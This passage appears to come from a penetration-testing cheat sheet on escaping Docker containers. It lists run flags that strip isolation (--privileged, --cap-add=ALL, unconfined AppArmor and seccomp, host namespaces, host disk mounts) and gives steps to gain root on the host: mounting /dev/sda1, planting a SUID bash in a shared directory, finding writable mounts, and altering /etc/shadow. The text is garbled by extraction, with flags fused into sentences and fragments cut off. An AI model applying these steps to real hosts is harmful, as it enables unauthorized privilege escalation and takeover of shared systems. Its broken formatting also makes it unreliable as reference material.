-v /:/host
-> Mount the host filesystem in the container so you can read the host filesystem.--privileged
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
-security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined
** -> This is similar to the previous method, but here we are mounting the device disk. Then, inside the container run mount /dev/sda1 /mnt
and you can access the host filesystem in /mnt
fdisk -l
in the host to find the </dev/sda1>
device to mount-v /tmp:/host
-> If for some reason you can just mount some directory from the host and you have access inside the host. Mount it and create a /bin/bash
with suid in the mounted directory so you can execute it from the host and escalate to root./tmp
but you can mount a different writable folder. You can find writable directories using: find / -writable -type d 2>/dev/null
mount | grep -v "nosuid"
For example usually /dev/shm
, /run
, /proc
, /sys/fs/cgroup
and /var/lib/lxcfs
don't support the suid bit./etc
or any other folder containing configuration files, you may change them from the docker container as root in order to abuse them in the host and escalate privileges (maybe modifying /etc/shadow
)--privileged
-> With this flag you remove all the isolation from the container. Check techniques to escape from privileged containers as root.--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]
-> To escalate abusing capabilities, grant that capability to the container and disable other protection methods that may prevent the exploit to work.